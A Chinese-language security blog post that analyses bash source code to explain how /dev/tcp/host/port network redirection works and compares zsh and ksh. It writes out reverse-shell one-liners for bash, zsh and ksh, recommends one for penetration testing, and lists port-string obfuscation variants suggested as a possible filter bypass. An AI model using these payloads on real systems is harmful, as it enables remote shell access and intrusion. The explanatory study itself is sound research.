首发地址:https://www.secpulse.com/archives/71494.html
Background
在反弹 shell 的时候经常遇到这样的 payload:
bash -i 1>&/dev/tcp/${HOST}/${PORT} 2>&1 0>&1
这样的 Payload 总是不能在例如:zsh
sh
的环境下起作用
而且印象中:/dev/
这个文件夹中保存着系统的设备文件
因此老是以为 /dev/tcp/${HOST}/${PORT}
为一个存在在操作系统文件系统中的像设备一样的文件
但是这个文件并不存在
How does it work?
一直觉得很奇怪,最终经过和队友的一番讨论,感谢队友的指点,终于搞清楚了原因
/dev/tcp/host/port 其实是一个 bash 的 feature
由于是bash
的 feature,因此在别的shell
下就不能生效,所以在渗透测试中,最好还是使用下面命令来进行反弹shell
的操作,增加健壮性。
bash -c 'bash -i 1>&/dev/tcp/${HOST}/${PORT} 2>&1 0>&1‘
bash 在处理重定向的时候,除了支持本地文件外,如果在编译的时候 enable 这些选项:
HAVE_DEV_FD(控制是否支持 /dev/fd/[0-9]*)
HAVE_DEV_STDIN(控制是否支持 /dev/stderr /dev/stdin /dev/stdout)
NETWORK_REDIRECTIONS(控制是否支持 /dev/(tcp|udp)/*/*)
则会支持以下几个特殊的形式:
/dev/fd/[0-9]*
/dev/stderr
/dev/stdin
/dev/stdout
/dev/tcp/*/*
/dev/udp/*/*
参考 bash 源码中redir.c
对变量_redir_special_filenames
的定义
在 bash 打开重定向文件的时候,会先调用find_string_in_alist
判断这个被打开的文件完整名称是否匹配上述的六种模式,这个函数可以识别通配符,最终调用的是:strmatch
来判断字符串是否匹配
static int
redir_open (filename, flags, mode, ri)
char *filename;
int flags, mode;
enum r_instruction ri;
{
int fd, r, e;
r = find_string_in_alist (filename, _redir_special_filenames, 1);
if (r >= 0)
return (redir_special_open (r, filename, flags, mode, ri));
// ...
}
如果匹配成功,则就会调用 redir_special_open
这个函数来打开这些特殊文件
static int
redir_special_open (spec, filename, flags, mode, ri)
int spec;
char *filename;
int flags, mode;
enum r_instruction ri;
{
int fd;
#if !defined (HAVE_DEV_FD)
intmax_t lfd;
#endif
fd = -1;
switch (spec)
{
#if !defined (HAVE_DEV_FD)
case RF_DEVFD:
if (all_digits (filename+8) && legal_number (filename+8, &lfd) && lfd == (int)lfd)
{
fd = lfd;
fd = fcntl (fd, F_DUPFD, SHELL_FD_BASE);
}
else
fd = AMBIGUOUS_REDIRECT;
break;
#endif
#if !defined (HAVE_DEV_STDIN)
case RF_DEVSTDIN:
fd = fcntl (0, F_DUPFD, SHELL_FD_BASE);
break;
case RF_DEVSTDOUT:
fd = fcntl (1, F_DUPFD, SHELL_FD_BASE);
break;
case RF_DEVSTDERR:
fd = fcntl (2, F_DUPFD, SHELL_FD_BASE);
break;
#endif
#if defined (NETWORK_REDIRECTIONS)
case RF_DEVTCP:
case RF_DEVUDP:
#if defined (HAVE_NETWORK)
fd = netopen (filename);
#else
internal_warning (_("/dev/(tcp|udp)/host/port not supported without networking"));
fd = open (filename, flags, mode);
#endif
break;
#endif /* NETWORK_REDIRECTIONS */
}
return fd;
}
分析了这些代码最终的结论为:
虽然:/dev/tcp/${HOST}/${PORT}
这个字符串看起来很像一个文件系统中的文件,并且位于 /dev
这个设备文件夹下
但是:这个文件并不存在,而且并不是一个设备文件。这只是 bash
实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入 host
port
参数,就能发起一个 socket
连接完全一样。
其实很奇怪的是为什么这个接口的调用方式和访问文件系统是一样的,这会让很多人误以为这是一个文件,感觉不是特别合理。那么如果有这样的需求:如果真的有一个/dev/tcp/host/port文件该如何重定向?
可能 bash 的设计者在设计这个命令的调用方式的时候就默认不会存在 /dev/tcp
这个文件夹吧,里面也不会有文件。还是感觉这种设计不是很合理,哪怕设计成额外的命令行参数也比现在设计成一个伪文件要对使用者的理解更友好一点。
Any BUGS?
这一节中讨论 bash 在处理 /dev/tcp/${HOST}/${PORT}
的 host
和 port
字段的时候存在的一些问题
可能会在渗透测试中用到,例如 bypass 一些 waf(当然可能性非常小)
netopen.c
/*
* Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to
* host `host' on port `port' and return the connected socket.
*/
int
netopen (path)
char *path;
{
char *np, *s, *t;
int fd;
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path);
s = np + 9;
t = strchr (s, '/');
if (t == 0)
{
internal_error (_("%s: bad network path specification"), path);
free (np);
return -1;
}
*t++ = '\0';
fd = _netopen (s, t, path[5]);
free (np);
return fd;
}
/*
* Open a TCP or UDP connection to HOST on port SERV. Uses getaddrinfo(3)
* if available, falling back to the traditional BSD mechanisms otherwise.
* Returns the connected socket or -1 on error.
*/
static int
_netopen(host, serv, typ)
char *host, *serv;
int typ;
{
#ifdef HAVE_GETADDRINFO
return (_netopen6 (host, serv, typ));
#else
return (_netopen4 (host, serv, typ));
#endif
}
/*
* Open a TCP or UDP connection to HOST on port SERV. Uses the
* traditional BSD mechanisms. Returns the connected socket or -1 on error.
*/
static int
_netopen4(host, serv, typ)
char *host, *serv;
int typ;
{
// ...
if (_getserv(serv, typ, &p) == 0)
{
internal_error(_("%s: invalid service"), serv);
errno = EINVAL;
return -1;
}
// ...
}
#endif /* ! HAVE_GETADDRINFO */
/* Return 1 if SERV is a valid port number and stuff the converted value into
PP in network byte order. */
static int
_getserv (serv, proto, pp)
char *serv;
int proto;
unsigned short *pp;
{
intmax_t l;
// intmax_t 为一个宏定义,在 configure 文件中定义,根据平台不同值可能为 long 或者 long long
unsigned short s;
if (legal_number (serv, &l))
// 先将字符串转化为 long,这个操作其实是开发者为了开发方便
// 将判断字符串是否是一个合法的数字进行了封装
// 但是这里存在的问题是:在转换的时候没有注意表示范围(将表示范围提升了)
// 本身端口只需要两个字节来表示(0-65535)
// 但是这里先将数据提升成了 long 型,然后再 &0xffff 来确保这个数据是在两字节范围内的
// 这就存在溢出的问题
{
s = (unsigned short)(l & 0xFFFF); // 然后再取其后两个字节作为 short int 的端口(Vulnerable?)
if (s != l)
return (0);
s = htons (s);
// ...
}
finfo.c
int
legal_number (string, result)
char *string;
long *result;
{
int sign;
long value;
sign = 1;
value = 0;
if (result)
*result = 0;
/* Skip leading whitespace characters. */
while (whitespace (*string))
string++;
if (!*string)
return (0);
/* We allow leading `-' or `+'. */
if (*string == '-' || *string == '+')
{
if (!digit (string[1]))
return (0);
if (*string == '-')
sign = -1;
string++;
}
while (digit (*string))
{
if (result)
value = (value * 10) + digit_value (*string);
string++;
}
/* Skip trailing whitespace, if any. */
while (whitespace (*string))
string++;
/* Error if not at end of string. */
if (*string)
return (0);
if (result)
*result = value * sign;
return (1);
}
gen-helpfiles.c
#define whitespace(c) (((c) == ' ') || ((c) == '\t'))
根据上述代码,我们可以尝试对 port
字段进行变形
例如:
如果 legal_number
正常返回字符串转换得到的数字
cat<'/dev/tcp/127.0.0.1/ 22'
cat<'/dev/tcp/127.0.0.1/65558'
cat<'/dev/tcp/127.0.0.1/+22'
cat<'/dev/tcp/127.0.0.1/ 22'
cat<'/dev/tcp/127.0.0.1/ +22'
如果 legal_number
返回 0 (表示转换失败或者输入数字为 0)则会将 serv
字符串传入 getservbyname
函数
根据 man 手册
FILES
/etc/services
services database file
tcpmux 1/tcp # TCP port service multiplexer
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
msp 18/tcp # message send protocol
msp 18/udp
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
fsp 21/udp fspd
ssh 22/tcp # SSH Remote Login Protocol
...
cat<'/dev/tcp/127.0.0.1/ssh'
虽然上述的变形可能在实战中作用不大,但是也算是一种思维的开拓吧。
再来看看处理 host
字段的函数:
static int
_getaddr (host, ap)
char *host;
struct in_addr *ap;
{
struct hostent *h;
int r;
r = 0;
if (host[0] >= '0' && host[0] <= '9')
{
/* If the first character is a digit, guess that it's an
Internet address and return immediately if inet_aton succeeds. */
r = inet_aton (host, ap);
if (r)
return r;
}
#if !defined (HAVE_GETHOSTBYNAME)
return 0;
#else
h = gethostbyname (host);
if (h && h->h_addr)
{
bcopy(h->h_addr, (char *)ap, h->h_length);
return 1;
}
#endif
return 0;
}
这里只要 host
的第一个字符是数字,那么就会先调用 inet_aton
这个函数
inet_aton() converts the Internet host address cp from the IPv4 num‐
bers-and-dots notation into binary form (in network byte order) and
stores it in the structure that inp points to. inet_aton() returns
nonzero if the address is valid, zero if not.
如果失败则会重新调用 gethostbyname
The gethostbyname*(), gethostbyaddr*(), herror(), and hstrerror() func‐
tions are obsolete. Applications should use getaddrinfo(3), getname‐
info(3), and gai_strerror(3) instead.
暂时没有想到什么可以利用的姿势
What about other shell?
其他的 shell 是否也具备类似的功能?
存在网络连接功能:
zsh
ksh
暂时未发现存在网络连接功能:
fish
csh
sh
- ZSH
zmodload zsh/net/tcp && ztcp -d 9 127.0.0.1 8080 && zsh 1>&9 2>&9 0>&9
- KSH
参考 ksh 的 man 手册
In each of the following redirections, if file is of the form
/dev/sctp/host/port, /dev/tcp/host/port, or /dev/udp/host/port, where
host is a hostname or host address, and port is a service given by name
or an integer port number, then the redirection attempts to make a tcp,
sctp or udp connection to the corresponding socket.
和 bash 类似,但是不同的地方是 ksh 的重定向语法和 bash 略有不同,这个问题比较好解决,直接查阅 ksh 的文档即可
<&digit
The standard input is duplicated from file descriptor digit (see dup(2)).
Similarly for the standard output using >&digit.
<&digit-
The file descriptor given by digit is moved to standard input.
Similarly for the standard output using >&digit-.
ksh -c 'ksh >/dev/tcp/${HOST}/${PORT} <&1'
Thinking
- 看源码是个好习惯,你会发现很多文档中没有的东西(接口、函数…)
- 举一反三
References
- http://www.cnblogs.com/liqiuhao/p/7058254.html
- https://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip
- http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
- https://www.tldp.org/LDP/abs/html/devref1.html
- https://www.gnu.org/software/bash/
- http://savannah.gnu.org/projects/bash/
- https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
- http://git.savannah.gnu.org/cgit/bash.git